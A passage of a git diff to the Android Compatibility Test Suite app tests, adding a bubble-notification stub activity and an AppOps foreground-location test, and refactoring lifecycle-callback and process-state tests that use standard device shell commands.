- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.content.res.Configuration;
-
-public class PipActivity extends Activity {
-
-    private int mMultiWindowChangedCount;
-    private int mPictureInPictureModeChangedCount;
-    private boolean mLastReporterMultiWindowMode;
-    private boolean mLastReporterPictureInPictureMode;
-
-    @Override
-    public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
-        super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
-        mLastReporterMultiWindowMode = isInMultiWindowMode;
-        mMultiWindowChangedCount++;
-    }
-
-    @Override
-    public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
-            Configuration newConfig) {
-        super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
-        mLastReporterPictureInPictureMode = isInPictureInPictureMode;
-        mPictureInPictureModeChangedCount++;
-    }
-
-    public boolean getLastReportedMultiWindowMode() {
-        return mLastReporterMultiWindowMode;
-    }
-
-    public boolean getLastReporterPictureInPictureMode() {
-        return mLastReporterPictureInPictureMode;
-    }
-
-    public int getMultiWindowChangedCount() {
-        return mMultiWindowChangedCount;
-    }
-
-    public int getPictureInPictureModeChangedCount() {
-        return mPictureInPictureModeChangedCount;
-    }
-}
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
new file mode 100644
index 0000000..0a6207e
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.WindowManager;
+
+/**
+ * Used by NotificationManagerTest for testing policy around bubbles, this activity is able to
+ * send a bubble.
+ */
+public class SendBubbleActivity extends Activity {
+    final String TAG = SendBubbleActivity.class.getSimpleName();
+
+    // Should be same as wht NotificationManagerTest is using
+    private static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
+
+    public static final String BUBBLE_ACTIVITY_OPENED =
+            "android.app.stubs.BUBBLE_ACTIVITY_OPENED";
+    public static final int BUBBLE_NOTIF_ID = 1;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.main);
+
+        Intent i = new Intent(BUBBLE_ACTIVITY_OPENED);
+        sendBroadcast(i);
+    }
+
+    /**
+     * Sends a bubble notification that would only be allowed to bubble when the app is
+     * foreground.
+     */
+    public void sendBubble(int i, boolean autoExpand) {
+        Context context = getApplicationContext();
+
+        final Intent intent = new Intent(context, BubbledActivity.class);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
+                | Intent.FLAG_ACTIVITY_CLEAR_TOP);
+        intent.setAction(Intent.ACTION_MAIN);
+        final PendingIntent pendingIntent =
+                PendingIntent.getActivity(context, 0, intent, 0);
+
+        Notification.BubbleMetadata data = new Notification.BubbleMetadata.Builder()
+                .setIcon(Icon.createWithResource(context, R.drawable.black))
+                .setIntent(pendingIntent)
+                .setAutoExpandBubble(autoExpand)
+                .build();
+        Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+                .setSmallIcon(R.drawable.black)
+                .setWhen(System.currentTimeMillis())
+                .setContentTitle("notify#" + BUBBLE_NOTIF_ID)
+                .setContentText("This is #" + BUBBLE_NOTIF_ID + "notification  ")
+                .setContentIntent(pendingIntent)
+                .setBubbleMetadata(data)
+                .build();
+
+        NotificationManager noMan = (NotificationManager) context.getSystemService(
+                Context.NOTIFICATION_SERVICE);
+        noMan.notify(BUBBLE_NOTIF_ID, n);
+        Log.d(TAG, "posting bubble: " + n + ", " + i);
+    }
+}
diff --git a/tests/app/app/src/android/app/stubs/TestTileService.java b/tests/app/app/src/android/app/stubs/TestTileService.java
index 51a7a2c..c50ecc5 100644
--- a/tests/app/app/src/android/app/stubs/TestTileService.java
+++ b/tests/app/app/src/android/app/stubs/TestTileService.java
@@ -29,7 +29,7 @@
     public static final String PKG = "android.app.stubs";
     public static final int ICON_ID = R.drawable.robot;
 
-    private static TestTileService sTestTileService = null;
+    protected static TestTileService sTestTileService = null;
     AtomicBoolean isConnected = new AtomicBoolean(false);
     AtomicBoolean isListening = new AtomicBoolean(false);
     AtomicBoolean hasBeenClicked = new AtomicBoolean(false);
diff --git a/tests/app/src/android/app/cts/ActivityCallbacksTest.java b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
index 1d4e76a..6a5d1a1 100644
--- a/tests/app/src/android/app/cts/ActivityCallbacksTest.java
+++ b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
@@ -92,54 +92,63 @@
 
             @Override
             public void onActivityPreCreated(Activity activity, Bundle savedInstanceState) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_CREATE);
             }
 
             @Override
             public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_CREATE);
             }
 
             @Override
             public void onActivityPostCreated(Activity activity, Bundle savedInstanceState) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_CREATE);
             }
 
             @Override
             public void onActivityPreStarted(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_START);
             }
 
             @Override
             public void onActivityStarted(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_START);
             }
 
             @Override
             public void onActivityPostStarted(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_START);
             }
 
             @Override
             public void onActivityPreResumed(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_RESUME);
             }
 
             @Override
             public void onActivityResumed(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_RESUME);
             }
 
             @Override
             public void onActivityPostResumed(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_RESUME);
                 a.finish();
@@ -147,36 +156,42 @@
 
             @Override
             public void onActivityPrePaused(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_PAUSE);
             }
 
             @Override
             public void onActivityPaused(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PAUSE);
             }
 
             @Override
             public void onActivityPostPaused(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_PAUSE);
             }
 
             @Override
             public void onActivityPreStopped(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_STOP);
             }
 
             @Override
             public void onActivityStopped(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_STOP);
             }
 
             @Override
             public void onActivityPostStopped(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_STOP);
             }
@@ -188,18 +203,21 @@
 
             @Override
             public void onActivityPreDestroyed(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_DESTROY);
             }
 
             @Override
             public void onActivityDestroyed(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_DESTROY);
             }
 
             @Override
             public void onActivityPostDestroyed(Activity activity) {
+                if (!wanted(activity)) return;
                 ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
                 a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_DESTROY);
                 actualEvents.addAll(a.getCollectedEvents());
@@ -256,4 +274,8 @@
         }
         expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, postEvent));
     }
+
+    private boolean wanted(Activity activity) {
+        return activity instanceof ActivityCallbacksTestActivity;
+    }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
new file mode 100644
index 0000000..8553698
--- /dev/null
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts;
+
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_LOCATION;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
+import static android.app.AppOpsManager.OP_FLAGS_ALL;
+import static android.app.AppOpsManager.UID_STATE_FOREGROUND_SERVICE;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.AppOpsManager;
+import android.app.AppOpsManager.HistoricalOp;
+import android.app.AppOpsManager.HistoricalOps;
+import android.app.AppOpsManager.HistoricalOpsRequest;
+import android.app.Instrumentation;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.permission.cts.PermissionUtils;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
+import java.util.Arrays;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * AppOpsManager.MODE_FOREGROUND is introduced in API level 29. This test class specifically tests
+ * ActivityManagerService's interaction with AppOpsService regarding MODE_FOREGROUND operation.
+ * If an operation's mode is MODE_FOREGROUND, this operation is allowed only when the process is in
+ * one of the foreground state (including foreground_service state), this operation will be denied
+ * when the process is in background state.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerApi29Test {
+    private static final String PACKAGE_NAME = "android.app.cts.activitymanager.api29";
+    private static final String SIMPLE_ACTIVITY = ".SimpleActivity";
+    private static final String SERVICE_NAME = ".LocationForegroundService";
+    private static final String PROPERTY_PERMISSIONS_HUB_ENABLED = "permissions_hub_enabled";
+    private static final int WAITFOR_MSEC = 5000;
+    private static final int NOTEOP_COUNT = 5;
+    private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
+    private static Context sContext = sInstrumentation.getContext();
+    private static AppOpsManager sAppOps =
+            (AppOpsManager) sContext.getSystemService(AppOpsManager.class);
+    private static Intent sServiceIntent = new Intent().setClassName(
+            PACKAGE_NAME, PACKAGE_NAME + SERVICE_NAME);
+    private static int sUid;
+    static {
+        try {
+            sUid = sContext.getPackageManager().getApplicationInfo(PACKAGE_NAME, 0).uid;
+        } catch (NameNotFoundException e) {
+            throw new RuntimeException("NameNotFoundException:" + e);
+        }
+    }
+
+    private String mOldAppOpsSettings;
+    private boolean mWasPermissionsHubEnabled = false;
+    private WatchUidRunner mUidWatcher;
+
+    @Before
+    public void setUp() throws Exception {
+        // PACKAGE_NAME's targetSdkVersion is 29, when ACCESS_COARSE_LOCATION is granted, appOp is
+        // MODE_FOREGROUND (In API level lower than 29, appOp is MODE_ALLOWED).
+        assertEquals(AppOpsManager.MODE_FOREGROUND,
+                PermissionUtils.getAppOp(PACKAGE_NAME, ACCESS_COARSE_LOCATION));
+        runWithShellPermissionIdentity(()-> {
+            mOldAppOpsSettings = Settings.Global.getString(sContext.getContentResolver(),
+                    Settings.Global.APP_OPS_CONSTANTS);
+            Settings.Global.putString(sContext.getContentResolver(),
+                    Settings.Global.APP_OPS_CONSTANTS,
+                    "top_state_settle_time=0,fg_service_state_settle_time=0,"
+                    + "bg_state_settle_time=0");
+            mWasPermissionsHubEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_PERMISSIONS_HUB_ENABLED, false);
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_PERMISSIONS_HUB_ENABLED, Boolean.toString(true), false);
+            sAppOps.clearHistory();
+            sAppOps.resetHistoryParameters(); }
+        );
+        mUidWatcher = new WatchUidRunner(sInstrumentation, sUid, WAITFOR_MSEC);
+    }
+
+    @After
+    public void tearDown() {
+        runWithShellPermissionIdentity(() -> {
+            // restore old AppOps settings.
+            Settings.Global.putString(sContext.getContentResolver(),
+                    Settings.Global.APP_OPS_CONSTANTS, mOldAppOpsSettings);
+            DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+                    PROPERTY_PERMISSIONS_HUB_ENABLED, Boolean.toString(mWasPermissionsHubEnabled),
+                    false);
+            sAppOps.clearHistory();
+            sAppOps.resetHistoryParameters(); }
+        );
+        mUidWatcher.finish();
+    }
+
+    /**
+     * This tests app in PROCESS_STATE_TOP state can have location access.
+     * The app's permission is AppOpsManager.MODE_FOREGROUND. If the process is in PROCESS_STATE_TOP
+     * , even its capability is zero, it still has location access.
+     * @throws Exception
+     */
+    @Test
+    public void testTopActivityWithAppOps() throws Exception {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(PACKAGE_NAME, PACKAGE_NAME + SIMPLE_ACTIVITY);
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        sContext.startActivity(intent);
+        // TOP process has all capabilities.
+        mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
+                new Integer(PROCESS_CAPABILITY_ALL));
+
+        // AppOps location access should be allowed.
+        assertEquals(AppOpsManager.MODE_ALLOWED, noteOp());
+
+        // Tell the activity to finalize.
+        intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+        intent.putExtra("finish", true);
+        sContext.startActivity(intent);
+        mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT,
+                new Integer(PROCESS_CAPABILITY_NONE));
+
+        // AppOps location access should be denied.
+        assertEquals(AppOpsManager.MODE_IGNORED, noteOp());
+    }
+
+    /**
+     * When ActivityManagerService process states and capability changes, it updates AppOpsService.
+     * This test starts a foreground service with location type, it updates AppOpsService with
+     * PROCESS_STATE_FOREGROUND_SERVICE and PROCESS_CAPABILITY_FOREGROUND_LOCATION, then check if
+     * AppOpsManager allow ACCESS_COARSE_LOCATION of MODE_FOREGROUND.
+     *
+     * The "android.app.cts.activitymanager.api29" package's targetSdkVersion is 29.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsLocationWithAppOps() throws Exception {
+        // Start a foreground service with location
+        sContext.startForegroundService(sServiceIntent);
+        // Wait for state and capability change.
+        mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
+                new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+
+        // AppOps location access should be allowed.
+        assertEquals(AppOpsManager.MODE_ALLOWED,  noteOp());
+
+        // Stop the foreground service.
+        sContext.stopService(sServiceIntent);
+        // Wait for proc state and capability change.
+        mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY,
+                new Integer(PROCESS_CAPABILITY_NONE));
+
+        // AppOps location access should be denied.
+        assertEquals(AppOpsManager.MODE_IGNORED, noteOp());
+    }
+
+    /**
+     * After calling AppOpsManager.noteOp() interface multiple times in different process states,
+     * this test calls AppOpsManager.getHistoricalOps() and check the access count and reject count
+     * in HistoricalOps.
+      *
+     * @throws Exception
+     */
+    @Test
+    public void testAppOpsHistoricalOps() throws Exception {
+        // Start a foreground service with location
+        sContext.startForegroundService(sServiceIntent);
+        // Wait for state and capability change.
+        mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
+                new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+
+        runWithShellPermissionIdentity(
+                () ->  sAppOps.setHistoryParameters(AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
+                        1000, 10)
+        );
+        for (int i = 0; i < NOTEOP_COUNT; i++) {
+            noteOp();
+        }
+
+        // Stop the foreground service.
+        sContext.stopService(sServiceIntent);
+        // Wait for proc state and capability change.
+        mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY,
+                new Integer(PROCESS_CAPABILITY_NONE));
+
+        for (int i = 0; i < NOTEOP_COUNT; i++) {
+            noteOp();
+        }
+        runWithShellPermissionIdentity(() -> {
+            CompletableFuture<HistoricalOps> ops = new CompletableFuture<>();
+            HistoricalOpsRequest histOpsRequest = new HistoricalOpsRequest.Builder(
+                    Instant.now().minus(1, ChronoUnit.HOURS).toEpochMilli(),
+                    Long.MAX_VALUE)
+                    .setUid(sUid)
+                    .setPackageName(PACKAGE_NAME)
+                    .setOpNames(Arrays.asList(AppOpsManager.OPSTR_COARSE_LOCATION))
+                    .setFlags(OP_FLAGS_ALL)
+                    .build();
+            sAppOps.getHistoricalOps(histOpsRequest, sContext.getMainExecutor(), ops::complete);
+            HistoricalOp hOp = ops.get(5000, TimeUnit.MILLISECONDS)
+                    .getUidOps(sUid).getPackageOps(PACKAGE_NAME)
+                    .getOp(AppOpsManager.OPSTR_COARSE_LOCATION);
+            // granted access one time in UID_STATE_FOREGROUND_SERVICE.
+            assertEquals(NOTEOP_COUNT, hOp.getAccessCount(UID_STATE_FOREGROUND_SERVICE,
+                    UID_STATE_FOREGROUND_SERVICE, AppOpsManager.OP_FLAGS_ALL));
+            assertEquals(NOTEOP_COUNT, hOp.getForegroundAccessCount(AppOpsManager.OP_FLAGS_ALL));
+            assertEquals(0, hOp.getForegroundRejectCount(AppOpsManager.OP_FLAGS_ALL));
+            assertEquals(0, hOp.getBackgroundAccessCount(AppOpsManager.OP_FLAGS_ALL));
+            // denied access one time in background.
+            assertEquals(NOTEOP_COUNT, hOp.getBackgroundRejectCount(AppOpsManager.OP_FLAGS_ALL)); }
+        );
+    }
+
+    private int noteOp() throws Exception {
+        return callWithShellPermissionIdentity(
+                () -> sAppOps.noteOp(AppOpsManager.OPSTR_COARSE_LOCATION, sUid, PACKAGE_NAME,
+                        "Op OPSTR_COARSE_LOCATION", ""));
+    }
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index 5adfac8..6a23c47 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -16,6 +16,9 @@
 
 package android.app.cts;
 
+import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_LOCATION;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_CACHED;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND;
 import static android.app.ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND_SERVICE;
@@ -59,8 +62,6 @@
 import android.util.Log;
 import android.view.accessibility.AccessibilityEvent;
 
-import androidx.test.InstrumentationRegistry;
-
 import com.android.compatibility.common.util.CommonTestUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -175,17 +176,16 @@
         executeShellCmd("input keyevent KEYCODE_WAKEUP");
         executeShellCmd("wm dismiss-keyguard");
         /*
-        Wait until the screen becomes interactive to start the test cases.
-        Otherwise the procstat may start in TOP_SLEEPING state, and this
-        causes test case testBackgroundCheckActivityService to fail.
-        Note: There could still a small chance the procstat is TOP_SLEEPING
-        when the predicate returns true. 
-        */
-        CommonTestUtils.waitUntil("Device does not wake up after 5 seconds",
-            5,
-            () ->  {
-                return isScreenInteractive() && !isKeyguardLocked();
-            });
+           Wait until the screen becomes interactive to start the test cases.
+           Otherwise the procstat may start in TOP_SLEEPING state, and this
+           causes test case testBackgroundCheckActivityService to fail.
+           Note: There could still a small chance the procstat is TOP_SLEEPING
+           when the predicate returns true.
+         */
+        CommonTestUtils.waitUntil("Device does not wake up after 5 seconds", 5,
+                () ->  {
+                    return isScreenInteractive() && !isKeyguardLocked();
+                });
     }
 
     private void removeTestAppFromWhitelists() throws Exception {
@@ -194,7 +194,7 @@
     }
 
     private String executeShellCmd(String cmd) throws Exception {
-        final String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        final String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
         Log.d(TAG, String.format("Output for '%s': %s", cmd, result));
         return result;
     }
@@ -236,7 +236,7 @@
     }
 
     private void startActivityAndWaitForShow(final Intent intent) throws Exception {
-        getInstrumentation().getUiAutomation().executeAndWaitForEvent(
+        mInstrumentation.getUiAutomation().executeAndWaitForEvent(
                 () -> {
                     try {
                         mContext.startActivity(intent);
@@ -273,7 +273,7 @@
         UidImportanceListener uidForegroundListener = new UidImportanceListener(mContext,
                 appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_SERVICE, WAIT_TIME);
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().revokeRuntimePermission(
+        mInstrumentation.getUiAutomation().revokeRuntimePermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
         boolean gotException = false;
         try {
@@ -283,12 +283,12 @@
         }
         assertTrue("Expected SecurityException thrown", gotException);
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
         /*
         Log.d("XXXX", "Invoke: " + cmd);
         Log.d("XXXX", "Result: " + result);
-        Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+        Log.d("XXXX", SystemUtil.runShellCommand(mInstrumentation, "dumpsys package "
                 + STUB_PACKAGE_NAME));
         */
         uidForegroundListener.register();
@@ -297,7 +297,7 @@
                 appInfo.uid, IMPORTANCE_CACHED, WAIT_TIME);
         uidGoneListener.register();
 
-        WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+        WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
                 WAIT_TIME);
 
         try {
@@ -441,12 +441,12 @@
 
         ActivityManager am = mContext.getSystemService(ActivityManager.class);
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
         /*
         Log.d("XXXX", "Invoke: " + cmd);
         Log.d("XXXX", "Result: " + result);
-        Log.d("XXXX", SystemUtil.runShellCommand(getInstrumentation(), "dumpsys package "
+        Log.d("XXXX", SystemUtil.runShellCommand(mInstrumentation, "dumpsys package "
                 + STUB_PACKAGE_NAME));
         */
 
@@ -460,7 +460,7 @@
                 appInfo.uid, ActivityManager.RunningAppProcessInfo.IMPORTANCE_EMPTY, WAIT_TIME);
         uidGoneListener.register();
 
-        WatchUidRunner uidWatcher = new WatchUidRunner(getInstrumentation(), appInfo.uid,
+        WatchUidRunner uidWatcher = new WatchUidRunner(mInstrumentation, appInfo.uid,
                 WAIT_TIME);
 
         // First kill the process to start out in a stable state.
@@ -483,7 +483,7 @@
         uidWatcher.waitFor(WatchUidRunner.CMD_GONE, null);
 
         String cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND deny";
-        String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         // This is a side-effect of the app op command.
         uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
@@ -491,11 +491,11 @@
 
         // We don't want to wait for the uid to actually go idle, we can force it now.
         cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         // Make sure app is not yet on whitelist
         cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-        result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+        result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
         // We will use this to monitor when the service is running.
         conn.startMonitoring();
@@ -515,7 +515,7 @@
             // Put app on temporary whitelist to see if this allows the service start.
             cmd = String.format("cmd deviceidle tempwhitelist -d %d %s",
                     TEMP_WHITELIST_DURATION_MS, SIMPLE_PACKAGE_NAME);
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
             // Try starting the service now that the app is whitelisted...  should work!
             mContext.startService(serviceIntent);
@@ -541,7 +541,7 @@
 
             // We don't want to wait for the uid to actually go idle, we can force it now.
             cmd = "am make-uid-idle " + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
             uidWatcher.expect(WatchUidRunner.CMD_IDLE, null);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
@@ -559,7 +559,7 @@
 
             // Now put app on whitelist, should allow service to run.
             cmd = "cmd deviceidle whitelist +" + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
             // Try starting the service now that the app is whitelisted...  should work!
             mContext.startService(serviceIntent);
@@ -582,9 +582,9 @@
             uidWatcher.finish();
 
             cmd = "appops set " + SIMPLE_PACKAGE_NAME + " RUN_IN_BACKGROUND allow";
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
             cmd = "cmd deviceidle whitelist -" + SIMPLE_PACKAGE_NAME;
-            result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+            result = SystemUtil.runShellCommand(mInstrumentation, cmd);
 
             uidGoneListener.unregister();
             uidForegroundListener.unregister();
@@ -606,12 +606,12 @@
 
         ActivityManager am = mContext.getSystemService(ActivityManager.class);
 
-        InstrumentationRegistry.getInstrumentation().getUiAutomation().grantRuntimePermission(
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
